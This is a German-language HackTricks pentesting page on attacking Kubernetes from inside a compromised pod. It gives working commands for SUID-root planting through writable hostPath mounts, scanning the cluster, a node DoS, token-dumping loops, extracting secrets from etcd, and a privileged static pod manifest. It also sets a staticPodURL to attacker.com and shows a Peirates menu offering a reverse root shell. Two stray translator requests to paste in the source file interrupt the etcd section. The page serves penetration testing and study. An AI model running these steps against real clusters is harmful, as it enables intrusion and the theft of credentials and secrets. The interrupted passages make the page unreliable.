Angriff auf Kubernetes aus einem Pod heraus

Reading time: 18 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Pod Breakout

Wenn du Glück hast, kannst du möglicherweise daraus auf den Node entkommen:

Aus dem Pod ausbrechen

Um aus den Pods auszubrechen, musst du möglicherweise zuerst die escalate privileges; einige Techniken dafür:

Linux Privilege Escalation - HackTricks

Du kannst diese docker breakouts to try to escape prüfen, um aus einem kompromittierten Pod zu entkommen:

Docker Breakout / Privilege Escalation - HackTricks

Missbrauch von beschreibbaren hostPath/bind mounts (container -> host root via SUID planting)

Wenn ein kompromittierter pod/container ein beschreibbares Volume hat, das direkt auf das Host-Dateisystem abgebildet ist (Kubernetes hostPath oder Docker bind mount), und du innerhalb des Containers root werden kannst, kannst du das Mount nutzen, um eine setuid-root Binary auf dem Host zu erstellen und diese dann vom Host auszuführen, um root zu erlangen.

Wichtige Voraussetzungen:

  • Das gemountete Volume ist innerhalb des Containers beschreibbar (readOnly: false und Dateisystemberechtigungen erlauben Schreiben).
  • Das Host-Dateisystem, das das Mount unterstützt, ist nicht mit der nosuid-Option gemountet.
  • Du hast eine Möglichkeit, die gepflanzte Binary auf dem Host auszuführen (z. B. separates SSH/RCE auf dem Host, ein Benutzer auf dem Host kann sie ausführen, oder ein anderer Vektor, der Binaries von diesem Pfad ausführt).

Wie man beschreibbare hostPath/bind mounts identifiziert:

  • Mit kubectl, prüfe auf hostPath volumes: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}'
  • Von innerhalb des Containers, liste Mounts auf und suche nach host-path mounts und teste die Schreibbarkeit:
bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Ein setuid root binary vom Container aus platzieren:

bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Auf dem Host ausführen, um root zu erhalten:

bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • Wenn der Host-Mount nosuid hat, werden setuid-Bits ignoriert. Prüfe die Mount-Optionen auf dem Host (cat /proc/mounts | grep ) und suche nach nosuid.
  • Wenn du keinen host execution path bekommst, können ähnliche writable mounts missbraucht werden, um andere persistence/priv-esc artifacts auf dem Host zu schreiben, falls das mapped directory sicherheitskritisch ist (z. B. add a root SSH key, wenn der Mount in /root/.ssh mapped ist, drop a cron/systemd unit, wenn es in /etc mapped ist, replace a root-owned binary in PATH, das der Host ausführen wird, etc.). Die Machbarkeit hängt vollständig davon ab, welcher Pfad gemountet ist.
  • Diese Technik funktioniert auch mit plain Docker bind mounts; in Kubernetes ist es typischerweise ein hostPath volume (readOnly: false) oder ein falsch scope-erter subPath.

Abusing Kubernetes Privileges

Wie im Abschnitt über kubernetes enumeration erklärt:

Kubernetes Enumeration

Normalerweise laufen die Pods mit einem service account token in ihnen. Dieses service account kann einige privileges attached to it haben, die du abuse könntest, um zu anderen Pods zu move oder sogar auf die im Cluster konfigurierten Nodes zu escape. Siehe wie in:

Abusing Roles/ClusterRoles in Kubernetes

Abusing Cloud Privileges

Wenn der Pod innerhalb einer cloud environment läuft, könntest du möglicherweise leak a token from the metadata endpoint und damit Privilegien eskalieren.

Search vulnerable network services

Da du dich innerhalb der Kubernetes-Umgebung befindest: Wenn du die Privilegien nicht über die aktuellen Pod-Privilegien eskalieren kannst und nicht aus dem Container entkommen kannst, solltest du nach potenziell verwundbaren Services suchen.

Services

Zu diesem Zweck kannst du versuchen, alle Services der kubernetes environment zu ermitteln:

kubectl get svc --all-namespaces

Standardmäßig verwendet Kubernetes ein flaches Netzwerk-Schema, was bedeutet, dass beliebiger pod/service innerhalb des Clusters mit anderen kommunizieren kann. Die namespaces innerhalb des Clusters haben standardmäßig keine Netzwerksicherheitsbeschränkungen. Jeder im namespace kann mit anderen namespaces kommunizieren.

Scanning

Das folgende Bash script (entnommen aus einem Kubernetes workshop) installiert und scannt die IP-Bereiche des kubernetes cluster:

bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

Falls der compromised pod is running some sensitive service und andere pods sich dort authentifizieren müssen, könnten Sie die von den anderen pods gesendeten credentials durch sniffing local communications erlangen.

Network Spoofing

Standardmäßig funktionieren Techniken wie ARP spoofing (und dadurch DNS Spoofing) im kubernetes network. Innerhalb eines pod, wenn Sie die NET_RAW capability besitzen (die standardmäßig vorhanden ist), können Sie custom crafted network packets senden und MitM attacks via ARP Spoofing to all the pods running in the same node.
Außerdem, wenn der malicious pod im same node as the DNS Server läuft, können Sie eine DNS Spoofing attack to all the pods in cluster durchführen.

Kubernetes Network Attacks

Node DoS

In den Kubernetes manifests gibt es keine Ressourcenspezifikation und keine angewendeten not applied limit ranges für die containers. Als Angreifer können wir consume all the resources where the pod/deployment running und dadurch andere Ressourcen auszehren und einen DoS für die Umgebung verursachen.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Sie können den Unterschied zwischen während des Ausführens von stress-ng und danach sehen.

bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

If you managed to aus dem container entkommen there are some interesting things you will find in the node:

  • Der Container Runtime Prozess (Docker)
  • Weitere pods/containers, die auf dem node laufen und die Sie wie dieses missbrauchen können (more tokens)
  • Das gesamte filesystem und OS im Allgemeinen
  • Der Kube-Proxy Service lauscht
  • Der Kubelet Service lauscht. Überprüfen Sie die Konfigurationsdateien:
  • Verzeichnis: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf --> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Weitere kubernetes common files:
  • $HOME/.kube/config - Benutzer-Config
  • /etc/kubernetes/kubelet.conf - Reguläre Konfiguration
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap-Konfiguration
  • /etc/kubernetes/manifests/etcd.yaml - etcd-Konfiguration
  • /etc/kubernetes/pki - Kubernetes-Schlüssel

Node kubeconfig finden

Wenn Sie die kubeconfig-Datei nicht in einem der zuvor genannten Pfade finden können, prüfen Sie das Argument --kubeconfig des kubelet-Prozesses:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Secrets stehlen

bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Das Skript can-they.sh wird automatisch die Tokens anderer Pods abrufen und prüfen, ob sie die gesuchte Berechtigung haben (anstatt dass du sie einzeln überprüfst):

bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privilegierte DaemonSets

Ein DaemonSet ist ein pod, der in allen Nodes des Clusters ausgeführt wird. Wenn ein DaemonSet also mit einem privileged service account konfiguriert ist, wirst du in ALLEN Nodes das token dieses privileged service account finden können, das du missbrauchen könntest.

Der Exploit ist derselbe wie im vorherigen Abschnitt, aber du bist jetzt nicht mehr vom Glück abhängig.

Pivot zur Cloud

Wenn das Cluster von einem Cloud-Service verwaltet wird, hat der Node üblicherweise einen anderen Zugriff auf den metadata endpoint als der Pod. Versuche daher, den metadata endpoint vom Node aus zu erreichen (oder von einem pod mit hostNetwork auf True):

Kubernetes Pivoting to Clouds

etcd stehlen

Wenn du den nodeName des Nodes angeben kannst, auf dem der Container laufen wird, verschaffe dir eine Shell auf einem control-plane Node und beschaffe die etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Control-Plane-Knoten haben die role master und in cloud-managed Clustern kannst du dort nichts ausführen.

Secrets aus etcd lesen 1

Wenn du deinen Pod mittels des nodeName-Selectors in der Pod-Spezifikation auf einem Control-Plane-Knoten starten kannst, hast du möglicherweise einfachen Zugriff auf die etcd-Datenbank, die die gesamte Konfiguration des Clusters enthält, inklusive aller Secrets.

Nachfolgend eine schnelle und schmutzige Methode, um Secrets aus etcd zu holen, falls es auf dem Control-Plane-Knoten läuft, auf dem du dich befindest. Wenn du eine elegantere Lösung willst, die einen Pod mit dem etcd-Client etcdctl startet und die Anmeldeinformationen des Control-Plane-Knotens verwendet, um sich mit etcd zu verbinden, wo immer es läuft, checke this example manifest von @mauilion.

Prüfe, ob etcd auf dem Control-Plane-Knoten läuft und wo die Datenbank liegt (Dies ist in einem mit kubeadm erstellten Cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Bitte fügen Sie den Inhalt der Datei src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md ein, damit ich ihn gemäß Ihren Vorgaben ins Deutsche übersetzen kann.

bash
data-dir=/var/lib/etcd

Daten in der etcd-Datenbank anzeigen:

bash
strings /var/lib/etcd/member/snap/db | less

Extrahiere die tokens aus der Datenbank und zeige den Service-Account-Namen

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Gleicher Befehl, aber mit einigen greps, um nur das default token im kube-system Namespace zurückzugeben

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Bitte füge den Inhalt von src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md hier ein, damit ich ihn ins Deutsche übersetzen kann.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Secrets aus etcd lesen 2 from here

  1. Erstelle einen Snapshot der etcd Datenbank. Siehe this script für weitere Infos.
  2. Übertrage den etcd Snapshot vom Node auf deine bevorzugte Weise.
  3. Entpacke die Datenbank:
bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Starte etcd auf deinem lokalen Rechner und bringe es dazu, den gestohlenen Snapshot zu verwenden:
bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Alle Secrets auflisten:
bash
etcdctl get "" --prefix --keys-only | grep secret
  1. Secrets abrufen:
bash
etcdctl get /registry/secrets/default/my-secret

Persistenz von Static/Mirrored Pods

Static Pods werden direkt vom kubelet-Daemon auf einem bestimmten Node verwaltet, ohne dass der API server sie beobachtet. Im Gegensatz zu Pods, die vom control plane (zum Beispiel einem Deployment) verwaltet werden; stattdessen überwacht der kubelet watches each static Pod (und startet ihn neu, wenn er fehlschlägt).

Daher sind static Pods immer bound to one Kubelet auf einem bestimmten Node.

Der kubelet automatically tries to create a mirror Pod on the Kubernetes API server für jeden static Pod. Das bedeutet, dass die auf einem Node laufenden Pods auf dem API server sichtbar sind, aber von dort aus nicht gesteuert werden können. Die Pod-Namen erhalten als Suffix den Node-Hostname mit einem führenden Bindestrich.

caution

Die spec eines static Pod kann nicht auf andere API-Objekte verweisen (z.B., ServiceAccount, ConfigMap, Secret, etc. So du kannst dieses Verhalten nicht missbrauchen, um einen Pod mit einem beliebigen serviceAccount auf dem aktuellen Node zu starten, um den Cluster zu kompromittieren. Aber du könntest dies verwenden, um Pods in verschiedenen Namespaces auszuführen (falls das aus irgendeinem Grund nützlich ist).

Wenn du dich auf dem Node-Host befindest, kannst du ihn dazu bringen, einen static pod in sich selbst zu erstellen. Das ist sehr nützlich, da es dir ermöglichen kann, einen Pod in einem anderen Namespace wie kube-system zu erstellen.

Um einen static pod zu erstellen, sind die docs are a great help sehr nützlich. Du brauchst im Wesentlichen 2 Dinge:

  • Konfiguriere den Parameter --pod-manifest-path=/etc/kubernetes/manifests im kubelet service, oder in der kubelet config (staticPodPath) und starte den Dienst neu
  • Lege die Pod-Definition in /etc/kubernetes/manifests an

Eine noch heimlichere Methode wäre:

  • Ändere den Parameter staticPodURL in der kubelet Konfigurationsdatei und setze z.B. staticPodURL: http://attacker.com:8765/pod.yaml. Dadurch veranlasst der kubelet-Prozess, einen static pod zu erstellen, der die Konfiguration von der angegebenen URL bezieht.

Beispiel für eine pod-Konfiguration, um einen privilegierten Pod in kube-system zu erstellen, entnommen von here:

yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Pods löschen + unschedulable nodes

Wenn ein Angreifer einen Node kompromittiert hat und er Pods von anderen Nodes löschen kann und andere Nodes daran hindern kann, Pods auszuführen, werden die Pods auf dem kompromittierten Node neu gestartet und er kann die in ihnen laufenden Tokens stehlen.
Für mehr Informationen siehe diesen Link.

Automatische Tools

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks